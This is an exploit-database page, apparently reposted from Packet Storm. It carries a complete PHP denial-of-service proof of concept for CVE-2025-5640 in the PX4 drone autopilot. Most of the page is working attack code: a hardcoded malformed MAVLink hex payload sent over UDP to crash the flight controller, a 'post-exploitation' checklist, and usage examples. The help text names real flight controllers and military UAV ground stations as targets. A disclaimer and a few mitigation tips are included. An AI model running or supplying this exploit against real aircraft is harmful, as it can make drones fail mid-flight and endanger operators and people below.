π PX4 Military UAV Autopilot 1.12.3 Denial of Service
ποΈΒ 02 Dec 2025Β 00:00:00Reported byΒ indoushkaTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 258Β Views
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2025-5640 | 5 Jun 202506:48 | β | circl | |
| PX4 Drone Autopilot security vulnerabilities | 5 Jun 202500:00 | β | cnnvd | |
| CVE-2025-5640 | 5 Jun 202506:00 | β | cve | |
| CVE-2025-5640 PX4-Autopilot TRAJECTORY_REPRESENTATION_WAYPOINTS Message mavlink_receiver.cpp stack-based overflow | 5 Jun 202506:00 | β | cvelist | |
| PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS) | 26 Jun 202500:00 | β | exploitdb | |
| EUVD-2025-16967 | 3 Oct 202520:07 | β | euvd | |
| Exploit for CVE-2025-5640 | 21 Jun 202511:52 | β | githubexploit | |
| PX4-Military-UAV-Autopilot-1.12.3-Stack-Buffer-Overflow-Exploit-CVE-2025-5640- | 20 Oct 202623:12 | β | kitploit | |
| CVE-2025-5640 | 5 Jun 202506:00 | β | mend | |
| CVE-2025-5640 | 5 Jun 202506:15 | β | nvd |
10
=============================================================================================================================================
| # Title : PX4 Military UAV Autopilot 1.12.3 Remote DoS Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://docs.px4.io/v1.12/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/202894/ & CVE-2025-5640
[+] Summary : This PoC exploits a Stack-Based Buffer Overflow vulnerability in PX4 Military UAV Autopilot versions up to 1.12.3,
allowing an attacker to send a poorly formatted MAVLink message of type:
TRAJECTORY_REPRESENTATION_WAYPOINTS to cause a complete failure (Denial of Service) of the UAV's autopilot.
The PoC works by sending a malicious MAVLink payload via UDP to the common control port (14540β14550).
Receiving data exceeding the expected size overwrites the stack memory, causing the autopilot to malfunction
and the aircraft to enter Failsafe mode or lose connectivity entirely.
[+] POC : php poc.php
<?php
/**
* Author: indoushka
* Description:
* Stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot <=1.12.3
* triggered via malformed MAVLink TRAJECTORY_REPRESENTATION_WAYPOINTS message.
*/
class PX4UAVExploit {
private $targetIp;
private $targetPort;
private $timeout;
private $verbose;
// Malformed MAVLink hex payload
private $hexPayload = "fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b7812731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6";
public function __construct($ip = "127.0.0.1", $port = 14540, $timeout = 5, $verbose = false) {
$this->targetIp = $ip;
$this->targetPort = $port;
$this->timeout = $timeout;
$this->verbose = $verbose;
}
public function run($mode = "dos") {
$this->showBanner();
try {
switch ($mode) {
case "check":
$this->checkConnection();
break;
case "dos":
$this->executeDos();
break;
default:
$this->error("Unknown mode: $mode");
return;
}
} catch (Exception $e) {
$this->error("Execution failed: " . $e->getMessage());
}
}
private function checkConnection() {
$this->info("Testing connection to PX4 autopilot...");
$this->info("Target: {$this->targetIp}:{$this->targetPort}");
// Create UDP socket
$socket = $this->createUdpSocket();
if (!$socket) {
$this->error("Failed to create UDP socket");
return;
}
// Send heartbeat check
$heartbeat = $this->createMavlinkHeartbeat();
$result = socket_sendto($socket, $heartbeat, strlen($heartbeat), 0, $this->targetIp, $this->targetPort);
if ($result === false) {
$this->error("Failed to send heartbeat");
} else {
$this->info("Heartbeat sent successfully");
// Wait for response
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $this->timeout, 'usec' => 0));
$response = '';
$from = '';
$port = 0;
$bytes = socket_recvfrom($socket, $response, 1024, 0, $from, $port);
if ($bytes > 0) {
$this->success("PX4 autopilot is responsive! Received $bytes bytes from $from:$port");
$this->info("Connection test PASSED");
} else {
$this->warning("No response received - PX4 may be offline or not listening");
}
}
socket_close($socket);
}
private function executeDos() {
$this->warning("π¨ LAUNCHING DENIAL OF SERVICE ATTACK π¨");
$this->info("Target: {$this->targetIp}:{$this->targetPort}");
$this->info("This will crash the PX4 autopilot if vulnerable");
// Countdown
for ($i = 5; $i > 0; $i--) {
$this->info("Sending exploit in $i seconds... (Ctrl+C to abort)");
sleep(1);
}
$socket = $this->createUdpSocket();
if (!$socket) {
$this->error("Failed to create UDP socket for attack");
return;
}
// Convert hex payload to binary
$payload = hex2bin($this->hexPayload);
if (!$payload) {
$this->error("Failed to decode hex payload");
socket_close($socket);
return;
}
$this->info("Sending malformed MAVLink packet...");
// Send multiple packets for reliability
$packetsSent = 0;
for ($i = 0; $i < 3; $i++) {
$result = socket_sendto($socket, $payload, strlen($payload), 0, $this->targetIp, $this->targetPort);
if ($result === false) {
$this->error("Failed to send packet #" . ($i + 1));
} else {
$this->info("Packet #" . ($i + 1) . " sent successfully ($result bytes)");
$packetsSent++;
}
usleep(100000); // 100ms delay between packets
}
socket_close($socket);
if ($packetsSent > 0) {
$this->success("Exploit packets delivered successfully");
$this->warning("PX4 autopilot should crash if vulnerable to CVE-2025-5640");
$this->showPostExploitationInfo();
} else {
$this->error("No packets were sent successfully");
}
}
private function createUdpSocket() {
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
if ($socket === false) {
return false;
}
// Set socket options
socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1);
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $this->timeout, 'usec' => 0));
return $socket;
}
private function createMavlinkHeartbeat() {
// Simple MAVLink heartbeat message (system ID 255, component ID 0)
$heartbeat = hex2bin("fe09000000ff0000000000000000000000000203d403");
return $heartbeat ?: '';
}
private function showPostExploitationInfo() {
$this->info("
π POST-EXPLOITATION ACTIONS:
ββββββββββββββββββββββββββββββββββββββββββββββββββ
1. Monitor UAV Status:
β’ Check if autopilot stopped responding
β’ Verify telemetry data interruption
β’ Observe flight controller behavior
2. Impact Assessment:
β’ Autopilot crash = UAV may enter failsafe mode
β’ Possible flight termination in worst case
β’ Ground station connection loss
3. Recovery Actions:
β’ Restart PX4 software
β’ Reboot flight controller
β’ Re-establish MAVLink connections
π‘οΈ MITIGATION RECOMMENDATIONS:
β’ Update PX4 to version > 1.12.3
β’ Implement MAVLink message validation
β’ Use message authentication
β’ Network segmentation for UAV communications
");
}
private function showBanner() {
echo "
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PX4 UAV AUTOPILOT EXPLOIT β
β CVE-2025-5640 - Remote DoS Exploit β
β β
β Target: PX4 Military UAV Autopilot <= 1.12.3 β
β Vulnerability: Stack-based Buffer Overflow β
β Impact: Denial of Service (Autopilot Crash) β
β Author: indoushka β
β PHP Implementation β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n\n";
}
private function info($message) {
echo "βΉοΈ [INFO] " . $message . "\n";
}
private function success($message) {
echo "β
[SUCCESS] " . $message . "\n";
}
private function warning($message) {
echo "β οΈ [WARNING] " . $message . "\n";
}
private function error($message) {
echo "β [ERROR] " . $message . "\n";
}
}
function showHelp() {
echo "
π PX4 UAV Autopilot DoS Exploit (CVE-2025-5640)
ββββββββββββββββββββββββββββββββββββββββββββββββββ
π οΈ Usage:
php px4_exploit.php [OPTIONS]
π Options:
--ip Target IP address (default: 127.0.0.1)
--port Target UDP port (default: 14540)
--mode Operation mode: dos, check (default: dos)
--timeout Timeout in seconds (default: 5)
--help Show this help information
π― Examples:
# Check connection to PX4
php px4_exploit.php --mode check --ip 192.168.1.100 --port 14550
# Launch DoS attack
php px4_exploit.php --mode dos --ip 192.168.1.100 --port 14550
# Attack local SITL instance
php px4_exploit.php --mode dos
β οΈ LEGAL DISCLAIMER:
This tool is for authorized security testing only.
Do not use against systems you don't own or have permission to test.
Military UAV systems are critical infrastructure.
Unauthorized access may violate national and international laws.
π§ Technical Details:
β’ Vulnerability: Buffer overflow in MAVLink message handling
β’ Affected: PX4 Autopilot <= 1.12.3
β’ Protocol: MAVLink over UDP
β’ Port: Typically 14540-14550
β’ Impact: Autopilot crash β UAV failsafe/termination
π― Target Environments:
β’ PX4 SITL (Software In The Loop)
β’ Real PX4 flight controllers
β’ Military UAV ground control stations
β’ Drone testing laboratories
\n";
}
function parseArguments($argv) {
$options = [
'ip' => '127.0.0.1',
'port' => 14540,
'mode' => 'dos',
'timeout' => 5,
'help' => false
];
for ($i = 1; $i < count($argv); $i++) {
switch ($argv[$i]) {
case '--ip':
$options['ip'] = $argv[++$i] ?? '127.0.0.1';
break;
case '--port':
$options['port'] = intval($argv[++$i] ?? 14540);
break;
case '--mode':
$options['mode'] = $argv[++$i] ?? 'dos';
break;
case '--timeout':
$options['timeout'] = intval($argv[++$i] ?? 5);
break;
case '--help':
$options['help'] = true;
break;
}
}
return $options;
}
// Main execution
if (php_sapi_name() !== 'cli') {
die("β This script must be run from command line\n");
}
$options = parseArguments($argv);
if ($options['help']) {
showHelp();
exit(0);
}
// Validate mode
if (!in_array($options['mode'], ['dos', 'check'])) {
echo "β Invalid mode. Use 'dos' or 'check'\n";
showHelp();
exit(1);
}
// Validate IP address
if (!filter_var($options['ip'], FILTER_VALIDATE_IP)) {
echo "β Invalid IP address: {$options['ip']}\n";
exit(1);
}
// Validate port
if ($options['port'] < 1 || $options['port'] > 65535) {
echo "β Invalid port number: {$options['port']}\n";
exit(1);
}
try {
$exploit = new PX4UAVExploit(
$options['ip'],
$options['port'],
$options['timeout'],
true
);
$exploit->run($options['mode']);
} catch (Exception $e) {
echo "β Fatal error: " . $e->getMessage() . "\n";
exit(1);
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Dec 2025 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 21.7
CVSS 3.13.3
CVSS 44.8
CVSS 33.3
EPSS0.01019
SSVC